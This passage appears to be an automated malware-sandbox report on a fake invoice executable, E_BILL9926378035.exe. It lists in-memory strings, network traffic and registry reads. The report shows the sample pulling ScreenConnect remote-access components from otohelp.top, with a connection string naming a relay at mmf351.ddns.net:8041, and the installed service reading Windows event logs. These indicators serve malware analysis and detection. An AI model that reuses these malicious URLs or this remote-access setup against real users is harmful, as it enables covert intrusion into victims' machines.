Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000001.00000002.2607771724.000001F6D06F7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2606271704.000001F6D010C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000001.00000002.2602490344.000001F6CE6B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B62A7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B629F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://otohelp.top
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5B3A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.1998757686.00000000020DE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.4.dr String found in binary or memory: http://upx.sf.net
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5F4E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5F4E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5E76000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5FE9000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933422520.000000000106D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5BA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5BA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: dfsvc.exe, 00000001.00000002.2604387145.000001F6CFBD2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: ScreenConnect.Core.dll0.1.dr String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: svchost.exe, 00000005.00000003.1709894416.0000023332F42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.5.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.5.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.5.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000005.00000003.1709894416.0000023332F42000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000005.00000003.1709894416.0000023332F42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.5.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B62A7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top
Source: dfsvc.exe, 00000001.00000002.2589434562.000001F6B40D7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/
Source: dfsvc.exe, 00000001.00000002.2608300536.000001F6D077A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bi
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1932966605.0000000000F89000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClbhR
Source: dfsvc.exe, 00000001.00000002.2602490344.000001F6CE6EE000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2607979675.000001F6D0730000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2607771724.000001F6D06F7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2607343170.000001F6D069B000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2607141930.000001F6D01C0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2606271704.000001F6D010C000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1934992392.000000001B71D000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933881909.0000000002D5F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933881909.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1934964833.000000001B710000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933422520.000000000106D000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1935481684.000000001B7A6000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933016769.000000000104B000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933016769.0000000001010000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1933016769.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp, B3D7NWNK.log.1.dr String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.application
Source: dfsvc.exe, 00000001.00000002.2606271704.000001F6D010C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application-
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1935481684.000000001B7A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application2
Source: dfsvc.exe, 00000001.00000002.2608083269.000001F6D073A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application2m67Np37V
Source: E_BILL9926378035.exe, 00000000.00000002.1842040994.000000000075B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application?e=
Source: B3D7NWNK.log.1.dr String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&
Source: dfsvc.exe, 00000001.00000002.2608128974.000001F6D0753000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationC
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1933016769.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationL
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1933881909.0000000002D5F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationX
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1933016769.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationaliz
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1934964833.000000001B710000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationppDaq
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1933016769.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationpplicati
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1935481684.000000001B7A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationtrue
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5E76000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.applicationx
Source: dfsvc.exe, 00000001.00000002.2607979675.000001F6D0730000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.application~
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2608230916.000001F6D0761000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.dll
Source: dfsvc.exe, 00000001.00000002.2608230916.000001F6D0761000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.dll~
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1933881909.0000000002D5F000.00000004.00000800.00020000.00000000.sdmp, B3D7NWNK.log.1.dr String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000001.00000002.2607343170.000001F6D069B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.manifestR
Source: dfsvc.exe, 00000001.00000002.2607141930.000001F6D01C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Client.manifeston-y
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClientSe
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2606271704.000001F6D010C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000001.00000002.2606271704.000001F6D010C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClientService.dllF
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D19000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2608083269.000001F6D073A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B62A7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D19000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2608230916.000001F6D0761000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000001.00000002.2608230916.000001F6D0761000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Core.dll$
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Wind
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2608230916.000001F6D0761000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstage
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.ex8
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2609149253.000001F6D0879000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 00000001.00000002.2602490344.000001F6CE6EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.configVK
Source: dfsvc.exe, 00000001.00000002.2602490344.000001F6CE6EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.configjK
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsCD
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.ex
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B62A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2609149253.000001F6D0879000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000001.00000002.2607141930.000001F6D01C0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsClient.exeuy
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManag
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.e
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2609149253.000001F6D0879000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2609149253.000001F6D0879000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B6068000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: dfsvc.exe, 00000001.00000002.2609149253.000001F6D0879000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config(
Source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B62A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://otohelp.top/Bin/ScreenConnect.x
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown HTTPS traffic detected: 79.110.49.16:443 -> 192.168.2.4:49731 version: TLS 1.2
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Reads the System eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
